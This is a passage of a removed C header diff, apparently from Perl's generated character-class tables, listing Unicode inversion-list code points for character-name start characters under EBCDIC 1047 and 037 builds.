0x2C2, - 0x2C6, - 0x2D2, - 0x2E0, - 0x2E5, - 0x2EC, - 0x2ED, - 0x2EE, - 0x2EF, - 0x370, - 0x375, - 0x376, - 0x378, - 0x37B, - 0x37E, - 0x37F, - 0x380, - 0x386, - 0x387, - 0x388, - 0x38B, - 0x38C, - 0x38D, - 0x38E, - 0x3A2, - 0x3A3, - 0x3F6, - 0x3F7, - 0x482, - 0x48A, - 0x530, - 0x531, - 0x557, - 0x559, - 0x55A, - 0x561, - 0x588, - 0x5D0, - 0x5EB, - 0x5F0, - 0x5F3, - 0x620, - 0x64B, - 0x66E, - 0x670, - 0x671, - 0x6D4, - 0x6D5, - 0x6D6, - 0x6E5, - 0x6E7, - 0x6EE, - 0x6F0, - 0x6FA, - 0x6FD, - 0x6FF, - 0x700, - 0x710, - 0x711, - 0x712, - 0x730, - 0x74D, - 0x7A6, - 0x7B1, - 0x7B2, - 0x7CA, - 0x7EB, - 0x7F4, - 0x7F6, - 0x7FA, - 0x7FB, - 0x800, - 0x816, - 0x81A, - 0x81B, - 0x824, - 0x825, - 0x828, - 0x829, - 0x840, - 0x859, - 0x860, - 0x86B, - 0x8A0, - 0x8B5, - 0x8B6, - 0x8BE, - 0x904, - 0x93A, - 0x93D, - 0x93E, - 0x950, - 0x951, - 0x958, - 0x962, - 0x971, - 0x981, - 0x985, - 0x98D, - 0x98F, - 0x991, - 0x993, - 0x9A9, - 0x9AA, - 0x9B1, - 0x9B2, - 0x9B3, - 0x9B6, - 0x9BA, - 0x9BD, - 0x9BE, - 0x9CE, - 0x9CF, - 0x9DC, - 0x9DE, - 0x9DF, - 0x9E2, - 0x9F0, - 0x9F2, - 0x9FC, - 0x9FD, - 0xA05, - 0xA0B, - 0xA0F, - 0xA11, - 0xA13, - 0xA29, - 0xA2A, - 0xA31, - 0xA32, - 0xA34, - 0xA35, - 0xA37, - 0xA38, - 0xA3A, - 0xA59, - 0xA5D, - 0xA5E, - 0xA5F, - 0xA72, - 0xA75, - 0xA85, - 0xA8E, - 0xA8F, - 0xA92, - 0xA93, - 0xAA9, - 0xAAA, - 0xAB1, - 0xAB2, - 0xAB4, - 0xAB5, - 0xABA, - 0xABD, - 0xABE, - 0xAD0, - 0xAD1, - 0xAE0, - 0xAE2, - 0xAF9, - 0xAFA, - 0xB05, - 0xB0D, - 0xB0F, - 0xB11, - 0xB13, - 0xB29, - 0xB2A, - 0xB31, - 0xB32, - 0xB34, - 0xB35, - 0xB3A, - 0xB3D, - 0xB3E, - 0xB5C, - 0xB5E, - 0xB5F, - 0xB62, - 0xB71, - 0xB72, - 0xB83, - 0xB84, - 0xB85, - 0xB8B, - 0xB8E, - 0xB91, - 0xB92, - 0xB96, - 0xB99, - 0xB9B, - 0xB9C, - 0xB9D, - 0xB9E, - 0xBA0, - 0xBA3, - 0xBA5, - 0xBA8, - 0xBAB, - 0xBAE, - 0xBBA, - 0xBD0, - 0xBD1, - 0xC05, - 0xC0D, - 0xC0E, - 0xC11, - 0xC12, - 0xC29, - 0xC2A, - 0xC3A, - 0xC3D, - 0xC3E, - 0xC58, - 0xC5B, - 0xC60, - 0xC62, - 0xC80, - 0xC81, - 0xC85, - 0xC8D, - 0xC8E, - 0xC91, - 0xC92, - 0xCA9, - 0xCAA, - 0xCB4, - 0xCB5, - 0xCBA, - 0xCBD, - 0xCBE, - 0xCDE, - 0xCDF, - 0xCE0, - 0xCE2, - 0xCF1, - 0xCF3, - 0xD05, - 0xD0D, - 0xD0E, - 0xD11, - 0xD12, - 0xD3B, - 0xD3D, - 0xD3E, - 0xD4E, - 0xD4F, - 0xD54, - 0xD57, - 0xD5F, - 0xD62, - 0xD7A, - 0xD80, - 0xD85, - 0xD97, - 0xD9A, - 0xDB2, - 0xDB3, - 0xDBC, - 0xDBD, - 0xDBE, - 0xDC0, - 0xDC7, - 0xE01, - 0xE31, - 0xE32, - 0xE33, - 0xE40, - 0xE47, - 0xE81, - 0xE83, - 0xE84, - 0xE85, - 0xE87, - 0xE89, - 0xE8A, - 0xE8B, - 0xE8D, - 0xE8E, - 0xE94, - 0xE98, - 0xE99, - 0xEA0, - 0xEA1, - 0xEA4, - 0xEA5, - 0xEA6, - 0xEA7, - 0xEA8, - 0xEAA, - 0xEAC, - 0xEAD, - 0xEB1, - 0xEB2, - 0xEB3, - 0xEBD, - 0xEBE, - 0xEC0, - 0xEC5, - 0xEC6, - 0xEC7, - 0xEDC, - 0xEE0, - 0xF00, - 0xF01, - 0xF40, - 0xF48, - 0xF49, - 0xF6D, - 0xF88, - 0xF8D, - 0x1000, - 0x102B, - 0x103F, - 0x1040, - 0x1050, - 0x1056, - 0x105A, - 0x105E, - 0x1061, - 0x1062, - 0x1065, - 0x1067, - 0x106E, - 0x1071, - 0x1075, - 0x1082, - 0x108E, - 0x108F, - 0x10A0, - 0x10C6, - 0x10C7, - 0x10C8, - 0x10CD, - 0x10CE, - 0x10D0, - 0x10FB, - 0x10FC, - 0x1249, - 0x124A, - 0x124E, - 0x1250, - 0x1257, - 0x1258, - 0x1259, - 0x125A, - 0x125E, - 0x1260, - 0x1289, - 0x128A, - 0x128E, - 0x1290, - 0x12B1, - 0x12B2, - 0x12B6, - 0x12B8, - 0x12BF, - 0x12C0, - 0x12C1, - 0x12C2, - 0x12C6, - 0x12C8, - 0x12D7, - 0x12D8, - 0x1311, - 0x1312, - 0x1316, - 0x1318, - 0x135B, - 0x1380, - 0x1390, - 0x13A0, - 0x13F6, - 0x13F8, - 0x13FE, - 0x1401, - 0x166D, - 0x166F, - 0x1680, - 0x1681, - 0x169B, - 0x16A0, - 0x16EB, - 0x16F1, - 0x16F9, - 0x1700, - 0x170D, - 0x170E, - 0x1712, - 0x1720, - 0x1732, - 0x1740, - 0x1752, - 0x1760, - 0x176D, - 0x176E, - 0x1771, - 0x1780, - 0x17B4, - 0x17D7, - 0x17D8, - 0x17DC, - 0x17DD, - 0x1820, - 0x1878, - 0x1880, - 0x1885, - 0x1887, - 0x18A9, - 0x18AA, - 0x18AB, - 0x18B0, - 0x18F6, - 0x1900, - 0x191F, - 0x1950, - 0x196E, - 0x1970, - 0x1975, - 0x1980, - 0x19AC, - 0x19B0, - 0x19CA, - 0x1A00, - 0x1A17, - 0x1A20, - 0x1A55, - 0x1AA7, - 0x1AA8, - 0x1B05, - 0x1B34, - 0x1B45, - 0x1B4C, - 0x1B83, - 0x1BA1, - 0x1BAE, - 0x1BB0, - 0x1BBA, - 0x1BE6, - 0x1C00, - 0x1C24, - 0x1C4D, - 0x1C50, - 0x1C5A, - 0x1C7E, - 0x1C80, - 0x1C89, - 0x1CE9, - 0x1CED, - 0x1CEE, - 0x1CF2, - 0x1CF5, - 0x1CF7, - 0x1D00, - 0x1DC0, - 0x1E00, - 0x1F16, - 0x1F18, - 0x1F1E, - 0x1F20, - 0x1F46, - 0x1F48, - 0x1F4E, - 0x1F50, - 0x1F58, - 0x1F59, - 0x1F5A, - 0x1F5B, - 0x1F5C, - 0x1F5D, - 0x1F5E, - 0x1F5F, - 0x1F7E, - 0x1F80, - 0x1FB5, - 0x1FB6, - 0x1FBD, - 0x1FBE, - 0x1FBF, - 0x1FC2, - 0x1FC5, - 0x1FC6, - 0x1FCD, - 0x1FD0, - 0x1FD4, - 0x1FD6, - 0x1FDC, - 0x1FE0, - 0x1FED, - 0x1FF2, - 0x1FF5, - 0x1FF6, - 0x1FFD, - 0x2071, - 0x2072, - 0x207F, - 0x2080, - 0x2090, - 0x209D, - 0x2102, - 0x2103, - 0x2107, - 0x2108, - 0x210A, - 0x2114, - 0x2115, - 0x2116, - 0x2119, - 0x211E, - 0x2124, - 0x2125, - 0x2126, - 0x2127, - 0x2128, - 0x2129, - 0x212A, - 0x212E, - 0x212F, - 0x213A, - 0x213C, - 0x2140, - 0x2145, - 0x214A, - 0x214E, - 0x214F, - 0x2183, - 0x2185, - 0x2C00, - 0x2C2F, - 0x2C30, - 0x2C5F, - 0x2C60, - 0x2CE5, - 0x2CEB, - 0x2CEF, - 0x2CF2, - 0x2CF4, - 0x2D00, - 0x2D26, - 0x2D27, - 0x2D28, - 0x2D2D, - 0x2D2E, - 0x2D30, - 0x2D68, - 0x2D6F, - 0x2D70, - 0x2D80, - 0x2D97, - 0x2DA0, - 0x2DA7, - 0x2DA8, - 0x2DAF, - 0x2DB0, - 0x2DB7, - 0x2DB8, - 0x2DBF, - 0x2DC0, - 0x2DC7, - 0x2DC8, - 0x2DCF, - 0x2DD0, - 0x2DD7, - 0x2DD8, - 0x2DDF, - 0x3005, - 0x3007, - 0x3031, - 0x3036, - 0x303B, - 0x303D, - 0x3041, - 0x3097, - 0x309D, - 0x30A0, - 0x30A1, - 0x30FB, - 0x30FC, - 0x3100, - 0x3105, - 0x312F, - 0x3131, - 0x318F, - 0x31A0, - 0x31BB, - 0x31F0, - 0x3200, - 0x3400, - 0x4DB6, - 0x4E00, - 0x9FEB, - 0xA000, - 0xA48D, - 0xA4D0, - 0xA4FE, - 0xA500, - 0xA60D, - 0xA610, - 0xA620, - 0xA62A, - 0xA62C, - 0xA640, - 0xA66F, - 0xA67F, - 0xA69E, - 0xA6A0, - 0xA6E6, - 0xA717, - 0xA720, - 0xA722, - 0xA789, - 0xA78B, - 0xA7AF, - 0xA7B0, - 0xA7B8, - 0xA7F7, - 0xA802, - 0xA803, - 0xA806, - 0xA807, - 0xA80B, - 0xA80C, - 0xA823, - 0xA840, - 0xA874, - 0xA882, - 0xA8B4, - 0xA8F2, - 0xA8F8, - 0xA8FB, - 0xA8FC, - 0xA8FD, - 0xA8FE, - 0xA90A, - 0xA926, - 0xA930, - 0xA947, - 0xA960, - 0xA97D, - 0xA984, - 0xA9B3, - 0xA9CF, - 0xA9D0, - 0xA9E0, - 0xA9E5, - 0xA9E6, - 0xA9F0, - 0xA9FA, - 0xA9FF, - 0xAA00, - 0xAA29, - 0xAA40, - 0xAA43, - 0xAA44, - 0xAA4C, - 0xAA60, - 0xAA77, - 0xAA7A, - 0xAA7B, - 0xAA7E, - 0xAAB0, - 0xAAB1, - 0xAAB2, - 0xAAB5, - 0xAAB7, - 0xAAB9, - 0xAABE, - 0xAAC0, - 0xAAC1, - 0xAAC2, - 0xAAC3, - 0xAADB, - 0xAADE, - 0xAAE0, - 0xAAEB, - 0xAAF2, - 0xAAF5, - 0xAB01, - 0xAB07, - 0xAB09, - 0xAB0F, - 0xAB11, - 0xAB17, - 0xAB20, - 0xAB27, - 0xAB28, - 0xAB2F, - 0xAB30, - 0xAB5B, - 0xAB5C, - 0xAB66, - 0xAB70, - 0xABE3, - 0xAC00, - 0xD7A4, - 0xD7B0, - 0xD7C7, - 0xD7CB, - 0xD7FC, - 0xF900, - 0xFA6E, - 0xFA70, - 0xFADA, - 0xFB00, - 0xFB07, - 0xFB13, - 0xFB18, - 0xFB1D, - 0xFB1E, - 0xFB1F, - 0xFB29, - 0xFB2A, - 0xFB37, - 0xFB38, - 0xFB3D, - 0xFB3E, - 0xFB3F, - 0xFB40, - 0xFB42, - 0xFB43, - 0xFB45, - 0xFB46, - 0xFBB2, - 0xFBD3, - 0xFC5E, - 0xFC64, - 0xFD3E, - 0xFD50, - 0xFD90, - 0xFD92, - 0xFDC8, - 0xFDF0, - 0xFDFA, - 0xFE71, - 0xFE72, - 0xFE73, - 0xFE74, - 0xFE77, - 0xFE78, - 0xFE79, - 0xFE7A, - 0xFE7B, - 0xFE7C, - 0xFE7D, - 0xFE7E, - 0xFE7F, - 0xFEFD, - 0xFF21, - 0xFF3B, - 0xFF41, - 0xFF5B, - 0xFF66, - 0xFF9E, - 0xFFA0, - 0xFFBF, - 0xFFC2, - 0xFFC8, - 0xFFCA, - 0xFFD0, - 0xFFD2, - 0xFFD8, - 0xFFDA, - 0xFFDD, - 0x10000, - 0x1000C, - 0x1000D, - 0x10027, - 0x10028, - 0x1003B, - 0x1003C, - 0x1003E, - 0x1003F, - 0x1004E, - 0x10050, - 0x1005E, - 0x10080, - 0x100FB, - 0x10280, - 0x1029D, - 0x102A0, - 0x102D1, - 0x10300, - 0x10320, - 0x1032D, - 0x10341, - 0x10342, - 0x1034A, - 0x10350, - 0x10376, - 0x10380, - 0x1039E, - 0x103A0, - 0x103C4, - 0x103C8, - 0x103D0, - 0x10400, - 0x1049E, - 0x104B0, - 0x104D4, - 0x104D8, - 0x104FC, - 0x10500, - 0x10528, - 0x10530, - 0x10564, - 0x10600, - 0x10737, - 0x10740, - 0x10756, - 0x10760, - 0x10768, - 0x10800, - 0x10806, - 0x10808, - 0x10809, - 0x1080A, - 0x10836, - 0x10837, - 0x10839, - 0x1083C, - 0x1083D, - 0x1083F, - 0x10856, - 0x10860, - 0x10877, - 0x10880, - 0x1089F, - 0x108E0, - 0x108F3, - 0x108F4, - 0x108F6, - 0x10900, - 0x10916, - 0x10920, - 0x1093A, - 0x10980, - 0x109B8, - 0x109BE, - 0x109C0, - 0x10A00, - 0x10A01, - 0x10A10, - 0x10A14, - 0x10A15, - 0x10A18, - 0x10A19, - 0x10A34, - 0x10A60, - 0x10A7D, - 0x10A80, - 0x10A9D, - 0x10AC0, - 0x10AC8, - 0x10AC9, - 0x10AE5, - 0x10B00, - 0x10B36, - 0x10B40, - 0x10B56, - 0x10B60, - 0x10B73, - 0x10B80, - 0x10B92, - 0x10C00, - 0x10C49, - 0x10C80, - 0x10CB3, - 0x10CC0, - 0x10CF3, - 0x11003, - 0x11038, - 0x11083, - 0x110B0, - 0x110D0, - 0x110E9, - 0x11103, - 0x11127, - 0x11150, - 0x11173, - 0x11176, - 0x11177, - 0x11183, - 0x111B3, - 0x111C1, - 0x111C5, - 0x111DA, - 0x111DB, - 0x111DC, - 0x111DD, - 0x11200, - 0x11212, - 0x11213, - 0x1122C, - 0x11280, - 0x11287, - 0x11288, - 0x11289, - 0x1128A, - 0x1128E, - 0x1128F, - 0x1129E, - 0x1129F, - 0x112A9, - 0x112B0, - 0x112DF, - 0x11305, - 0x1130D, - 0x1130F, - 0x11311, - 0x11313, - 0x11329, - 0x1132A, - 0x11331, - 0x11332, - 0x11334, - 0x11335, - 0x1133A, - 0x1133D, - 0x1133E, - 0x11350, - 0x11351, - 0x1135D, - 0x11362, - 0x11400, - 0x11435, - 0x11447, - 0x1144B, - 0x11480, - 0x114B0, - 0x114C4, - 0x114C6, - 0x114C7, - 0x114C8, - 0x11580, - 0x115AF, - 0x115D8, - 0x115DC, - 0x11600, - 0x11630, - 0x11644, - 0x11645, - 0x11680, - 0x116AB, - 0x11700, - 0x1171A, - 0x118A0, - 0x118E0, - 0x118FF, - 0x11900, - 0x11A00, - 0x11A01, - 0x11A0B, - 0x11A33, - 0x11A3A, - 0x11A3B, - 0x11A50, - 0x11A51, - 0x11A5C, - 0x11A84, - 0x11A86, - 0x11A8A, - 0x11AC0, - 0x11AF9, - 0x11C00, - 0x11C09, - 0x11C0A, - 0x11C2F, - 0x11C40, - 0x11C41, - 0x11C72, - 0x11C90, - 0x11D00, - 0x11D07, - 0x11D08, - 0x11D0A, - 0x11D0B, - 0x11D31, - 0x11D46, - 0x11D47, - 0x12000, - 0x1239A, - 0x12480, - 0x12544, - 0x13000, - 0x1342F, - 0x14400, - 0x14647, - 0x16800, - 0x16A39, - 0x16A40, - 0x16A5F, - 0x16AD0, - 0x16AEE, - 0x16B00, - 0x16B30, - 0x16B40, - 0x16B44, - 0x16B63, - 0x16B78, - 0x16B7D, - 0x16B90, - 0x16F00, - 0x16F45, - 0x16F50, - 0x16F51, - 0x16F93, - 0x16FA0, - 0x16FE0, - 0x16FE2, - 0x17000, - 0x187ED, - 0x18800, - 0x18AF3, - 0x1B000, - 0x1B11F, - 0x1B170, - 0x1B2FC, - 0x1BC00, - 0x1BC6B, - 0x1BC70, - 0x1BC7D, - 0x1BC80, - 0x1BC89, - 0x1BC90, - 0x1BC9A, - 0x1D400, - 0x1D455, - 0x1D456, - 0x1D49D, - 0x1D49E, - 0x1D4A0, - 0x1D4A2, - 0x1D4A3, - 0x1D4A5, - 0x1D4A7, - 0x1D4A9, - 0x1D4AD, - 0x1D4AE, - 0x1D4BA, - 0x1D4BB, - 0x1D4BC, - 0x1D4BD, - 0x1D4C4, - 0x1D4C5, - 0x1D506, - 0x1D507, - 0x1D50B, - 0x1D50D, - 0x1D515, - 0x1D516, - 0x1D51D, - 0x1D51E, - 0x1D53A, - 0x1D53B, - 0x1D53F, - 0x1D540, - 0x1D545, - 0x1D546, - 0x1D547, - 0x1D54A, - 0x1D551, - 0x1D552, - 0x1D6A6, - 0x1D6A8, - 0x1D6C1, - 0x1D6C2, - 0x1D6DB, - 0x1D6DC, - 0x1D6FB, - 0x1D6FC, - 0x1D715, - 0x1D716, - 0x1D735, - 0x1D736, - 0x1D74F, - 0x1D750, - 0x1D76F, - 0x1D770, - 0x1D789, - 0x1D78A, - 0x1D7A9, - 0x1D7AA, - 0x1D7C3, - 0x1D7C4, - 0x1D7CC, - 0x1E800, - 0x1E8C5, - 0x1E900, - 0x1E944, - 0x1EE00, - 0x1EE04, - 0x1EE05, - 0x1EE20, - 0x1EE21, - 0x1EE23, - 0x1EE24, - 0x1EE25, - 0x1EE27, - 0x1EE28, - 0x1EE29, - 0x1EE33, - 0x1EE34, - 0x1EE38, - 0x1EE39, - 0x1EE3A, - 0x1EE3B, - 0x1EE3C, - 0x1EE42, - 0x1EE43, - 0x1EE47, - 0x1EE48, - 0x1EE49, - 0x1EE4A, - 0x1EE4B, - 0x1EE4C, - 0x1EE4D, - 0x1EE50, - 0x1EE51, - 0x1EE53, - 0x1EE54, - 0x1EE55, - 0x1EE57, - 0x1EE58, - 0x1EE59, - 0x1EE5A, - 0x1EE5B, - 0x1EE5C, - 0x1EE5D, - 0x1EE5E, - 0x1EE5F, - 0x1EE60, - 0x1EE61, - 0x1EE63, - 0x1EE64, - 0x1EE65, - 0x1EE67, - 0x1EE6B, - 0x1EE6C, - 0x1EE73, - 0x1EE74, - 0x1EE78, - 0x1EE79, - 0x1EE7D, - 0x1EE7E, - 0x1EE7F, - 0x1EE80, - 0x1EE8A, - 0x1EE8B, - 0x1EE9C, - 0x1EEA1, - 0x1EEA4, - 0x1EEA5, - 0x1EEAA, - 0x1EEAB, - 0x1EEBC, - 0x20000, - 0x2A6D7, - 0x2A700, - 0x2B735, - 0x2B740, - 0x2B81E, - 0x2B820, - 0x2CEA2, - 0x2CEB0, - 0x2EBE1, - 0x2F800, - 0x2FA1E -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL__PERL_CHARNAME_BEGIN_invlist[] = { /* for EBCDIC 037 */ - 1205, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x42, - 0x4A, - 0x51, - 0x5A, - 0x62, - 0x6A, - 0x70, - 0x79, - 0x80, - 0x8A, - 0x8C, - 0x8F, - 0x91, - 0x9D, - 0x9E, - 0x9F, - 0xA0, - 0xA1, - 0xA2, - 0xAA, - 0xAC, - 0xAF, - 0xC1, - 0xCA, - 0xCB, - 0xD0, - 0xD1, - 0xDA, - 0xDB, - 0xE0, - 0xE2, - 0xEA, - 0xEB, - 0xF0, - 0xFB, - 0xFF, - 0x100, - 0x2C2, - 0x2C6, - 0x2D2, - 0x2E0, - 0x2E5, - 0x2EC, - 0x2ED, - 0x2EE, - 0x2EF, - 0x370, - 0x375, - 0x376, - 0x378, - 0x37B, - 0x37E, - 0x37F, - 0x380, - 0x386, - 0x387, - 0x388, - 0x38B, - 0x38C, - 0x38D, - 0x38E, - 0x3A2, - 0x3A3, - 0x3F6, - 0x3F7, - 0x482, - 0x48A, - 0x530, - 0x531, - 0x557, - 0x559, - 0x55A, - 0x561, - 0x588, - 0x5D0, - 0x5EB, - 0x5F0, - 0x5F3, - 0x620, - 0x64B, - 0x66E, - 0x670, - 0x671, - 0x6D4, - 0x6D5, - 0x6D6, - 0x6E5, - 0x6E7, - 0x6EE, - 0x6F0, - 0x6FA, - 0x6FD, - 0x6FF, - 0x700, - 0x710, - 0x711, - 0x712, - 0x730, - 0x74D, - 0x7A6, - 0x7B1, - 0x7B2, - 0x7CA, - 0x7EB, - 0x7F4, - 0x7F6, - 0x7FA, - 0x7FB, - 0x800, - 0x816, - 0x81A, - 0x81B, - 0x824, - 0x825, - 0x828, - 0x829, - 0x840, - 0x859, - 0x860, - 0x86B, - 0x8A0, - 0x8B5, - 0x8B6, - 0x8BE, - 0x904, - 0x93A, - 0x93D, - 0x93E, - 0x950, - 0x951, - 0x958, - 0x962, - 0x971, - 0x981, - 0x985, - 0x98D, - 0x98F, - 0x991, - 0x993, - 0x9A9, - 0x9AA, - 0x9B1, - 0x9B2, - 0x9B3, - 0x9B6, - 0x9BA, - 0x9BD, - 0x9BE, - 0x9CE, - 0x9CF, - 0x9DC, - 0x9DE, - 0x9DF, - 0x9E2, - 0x9F0, - 0x9F2, - 0x9FC, - 0x9FD, - 0xA05, - 0xA0B, - 0xA0F, - 0xA11, - 0xA13, - 0xA29, - 0xA2A, - 0xA31, - 0xA32, - 0xA34, - 0xA35, - 0xA37, - 0xA38, - 0xA3A, - 0xA59, - 0xA5D, - 0xA5E, - 0xA5F, - 0xA72, - 0xA75, - 0xA85, - 0xA8E, - 0xA8F, - 0xA92, - 0xA93, - 0xAA9, - 0xAAA, - 0xAB1, - 0xAB2, - 0xAB4, - 0xAB5, - 0xABA, - 0xABD, - 0xABE, - 0xAD0, - 0xAD1, - 0xAE0, - 0xAE2, - 0xAF9, - 0xAFA, - 0xB05, - 0xB0D, - 0xB0F, - 0xB11, - 0xB13, - 0xB29, - 0xB2A, - 0xB31, - 0xB32, - 0xB34, - 0xB35, - 0xB3A, - 0xB3D, - 0xB3E, - 0xB5C, - 0xB5E, - 0xB5F, - 0xB62, - 0xB71, - 0xB72, - 0xB83, - 0xB84, - 0xB85, - 0xB8B, - 0xB8E, - 0xB91, - 0xB92, - 0xB96, - 0xB99, - 0xB9B, - 0xB9C, - 0xB9D, - 0xB9E, - 0xBA0, - 0xBA3, - 0xBA5, - 0xBA8, - 0xBAB, - 0xBAE, - 0xBBA, - 0xBD0, - 0xBD1, - 0xC05, - 0xC0D, - 0xC0E, - 0xC11, - 0xC12, - 0xC29, - 0xC2A, - 0xC3A, - 0xC3D, - 0xC3E, - 0xC58, - 0xC5B, - 0xC60, - 0xC62, - 0xC80, - 0xC81, - 0xC85, - 0xC8D, - 0xC8E, - 0xC91, - 0xC92, - 0xCA9, - 0xCAA, - 0xCB4, - 0xCB5, - 0xCBA, - 0xCBD, - 0xCBE, - 0xCDE, - 0xCDF, - 0xCE0, - 0xCE2, - 0xCF1, - 0xCF3, - 0xD05, - 0xD0D, - 0xD0E, - 0xD11, - 0xD12, - 0xD3B, - 0xD3D, - 0xD3E, - 0xD4E, - 0xD4F, - 0xD54, - 0xD57, - 0xD5F, - 0xD62, - 0xD7A, - 0xD80, - 0xD85, - 0xD97, - 0xD9A, - 0xDB2, - 0xDB3, - 0xDBC, - 0xDBD, - 0xDBE, - 0xDC0, - 0xDC7, - 0xE01, - 0xE31, - 0xE32, - 0xE33, - 0xE40, - 0xE47, - 0xE81, - 0xE83, - 0xE84, - 0xE85, - 0xE87, - 0xE89, - 0xE8A, - 0xE8B, - 0xE8D, - 0xE8E, - 0xE94, - 0xE98, - 0xE99, - 0xEA0, - 0xEA1, - 0xEA4, - 0xEA5, - 0xEA6, - 0xEA7, - 0xEA8, - 0xEAA, - 0xEAC, - 0xEAD, - 0xEB1, - 0xEB2, - 0xEB3, - 0xEBD, - 0xEBE, - 0xEC0, - 0xEC5, - 0xEC6, - 0xEC7, - 0xEDC, - 0xEE0, - 0xF00, - 0xF01, - 0xF40, - 0xF48, - 0xF49, - 0xF6D, - 0xF88, - 0xF8D, - 0x1000, - 0x102B, - 0x103F, - 0x1040, - 0x1050, - 0x1056, - 0x105A, - 0x105E, - 0x1061, - 0x1062, - 0x1065, - 0x1067, - 0x106E, - 0x1071, - 0x1075, - 0x1082, - 0x108E, - 0x108F, - 0x10A0, - 0x10C6, - 0x10C7, - 0x10C8, - 0x10CD, - 0x10CE, - 0x10D0, - 0x10FB, - 0x10FC, - 0x1249, - 0x124A, - 0x124E, - 0x1250, - 0x1257, - 0x1258, - 0x1259, - 0x125A, - 0x125E, - 0x1260, - 0x1289, - 0x128A, - 0x128E, - 0x1290, - 0x12B1, - 0x12B2, - 0x12B6, - 0x12B8, - 0x12BF, - 0x12C0, - 0x12C1, - 0x12C2, - 0x12C6, - 0x12C8, - 0x12D7, - 0x12D8, - 0x1311, - 0x1312, - 0x1316, - 0x1318, - 0x135B, - 0x1380, - 0x1390, - 0x13A0, - 0x13F6, - 0x13F8, - 0x13FE, - 0x1401, - 0x166D, - 0x166F, - 0x1680, - 0x1681, - 0x169B, - 0x16A0, - 0x16EB, - 0x16F1, - 0x16F9, - 0x1700, - 0x170D, - 0x170E, - 0x1712, - 0x1720, - 0x1732, - 0x1740, - 0x1752, - 0x1760, - 0x176D, - 0x176E, - 0x1771, - 0x1780, - 0x17B4, - 0x17D7, - 0x17D8, - 0x17DC, - 0x17DD, - 0x1820, - 0x1878, - 0x1880, - 0x1885, - 0x1887, - 0x18A9, - 0x18AA, - 0x18AB, - 0x18B0, - 0x18F6, - 0x1900, - 0x191F, - 0x1950, - 0x196E, - 0x1970, - 0x1975, - 0x1980, - 0x19AC, - 0x19B0, - 0x19CA, - 0x1A00, - 0x1A17, - 0x1A20, - 0x1A55, - 0x1AA7, - 0x1AA8, - 0x1B05, - 0x1B34, - 0x1B45, - 0x1B4C, - 0x1B83, - 0x1BA1, - 0x1BAE, - 0x1BB0, - 0x1BBA, - 0x1BE6, - 0x1C00, - 0x1C24, - 0x1C4D, - 0x1C50, - 0x1C5A, - 0x1C7E, - 0x1C80, - 0x1C89, - 0x1CE9, - 0x1CED, - 0x1CEE, - 0x1CF2, - 0x1CF5, - 0x1CF7, - 0x1D00, - 0x1DC0, - 0x1E00, - 0x1F16, - 0x1F18, - 0x1F1E, - 0x1F20, - 0x1F46, - 0x1F48, - 0x1F4E, - 0x1F50, - 0x1F58, - 0x1F59, - 0x1F5A, - 0x1F5B, - 0x1F5C, - 0x1F5D, - 0x1F5E, - 0x1F5F, - 0x1F7E, - 0x1F80, - 0x1FB5, - 0x1FB6, - 0x1FBD, - 0x1FBE, - 0x1FBF, - 0x1FC2, - 0x1FC5, - 0x1FC6, - 0x1FCD, - 0x1FD0, - 0x1FD4, - 0x1FD6, - 0x1FDC, - 0x1FE0, - 0x1FED, - 0x1FF2, - 0x1FF5, - 0x1FF6, - 0x1FFD, - 0x2071, - 0x2072, - 0x207F, - 0x2080, - 0x2090, - 0x209D, - 0x2102, - 0x2103, - 0x2107, - 0x2108, - 0x210A, - 0x2114, - 0x2115, - 0x2116, - 0x2119, - 0x211E, - 0x2124, - 0x2125, - 0x2126, - 0x2127, - 0x2128, - 0x2129, - 0x212A, - 0x212E, - 0x212F, - 0x213A, - 0x213C, - 0x2140, - 0x2145, - 0x214A, - 0x214E, - 0x214F, - 0x2183, - 0x2185, - 0x2C00, - 0x2C2F, - 0x2C30, - 0x2C5F, - 0x2C60, - 0x2CE5, - 0x2CEB, - 0x2CEF, - 0x2CF2, - 0x2CF4, - 0x2D00, - 0x2D26, - 0x2D27, - 0x2D28, - 0x2D2D, - 0x2D2E, - 0x2D30, - 0x2D68, - 0x2D6F, - 0x2D70, - 0x2D80, - 0x2D97, - 0x2DA0, - 0x2DA7, - 0x2DA8, - 0x2DAF, - 0x2DB0, - 0x2DB7, - 0x2DB8, - 0x2DBF, - 0x2DC0, - 0x2DC7, - 0x2DC8, - 0x2DCF, - 0x2DD0, - 0x2DD7, - 0x2DD8, - 0x2DDF, - 0x3005, - 0x3007, - 0x3031, - 0x3036, - 0x303B, - 0x303D, - 0x3041, - 0x3097, - 0x309D, - 0x30A0, - 0x30A1, - 0x30FB, - 0x30FC, - 0x3100, - 0x3105, - 0x312F, - 0x3131, - 0x318F, - 0x31A0, - 0x31BB, - 0x31F0, - 0x3200, - 0x3400, - 0x4DB6, - 0x4E00, - 0x9FEB, - 0xA000, - 0xA48D, - 0xA4D0, - 0xA4FE, - 0xA500, - 0xA60D, - 0xA610, - 0xA620, - 0xA62A, - 0xA62C, - 0xA640, - 0xA66F, - 0xA67F, - 0xA69E, - 0xA6A0, - 0xA6E6, - 0xA717, - 0xA720, - 0xA722, - 0xA789, - 0xA78B, - 0xA7AF, - 0xA7B0, - 0xA7B8, - 0xA7F7, - 0xA802, - 0xA803, - 0xA806, - 0xA807, - 0xA80B, - 0xA80C, - 0xA823, - 0xA840, - 0xA874, - 0xA882, - 0xA8B4, - 0xA8F2, - 0xA8F8, - 0xA8FB, - 0xA8FC, - 0xA8FD, - 0xA8FE, - 0xA90A, - 0xA926, - 0xA930, - 0xA947, - 0xA960, - 0xA97D, - 0xA984, - 0xA9B3, - 0xA9CF, - 0xA9D0, - 0xA9E0, - 0xA9E5, - 0xA9E6, - 0xA9F0, - 0xA9FA, - 0xA9FF, - 0xAA00, - 0xAA29, - 0xAA40, - 0xAA43, - 0xAA44, - 0xAA4C, - 0xAA60, - 0xAA77, - 0xAA7A, - 0xAA7B, - 0xAA7E, - 0xAAB0, - 0xAAB1, - 0xAAB2, - 0xAAB5, - 0xAAB7, - 0xAAB9, - 0xAABE, - 0xAAC0, - 0xAAC1, - 0xAAC2, - 0xAAC3, - 0xAADB, - 0xAADE, - 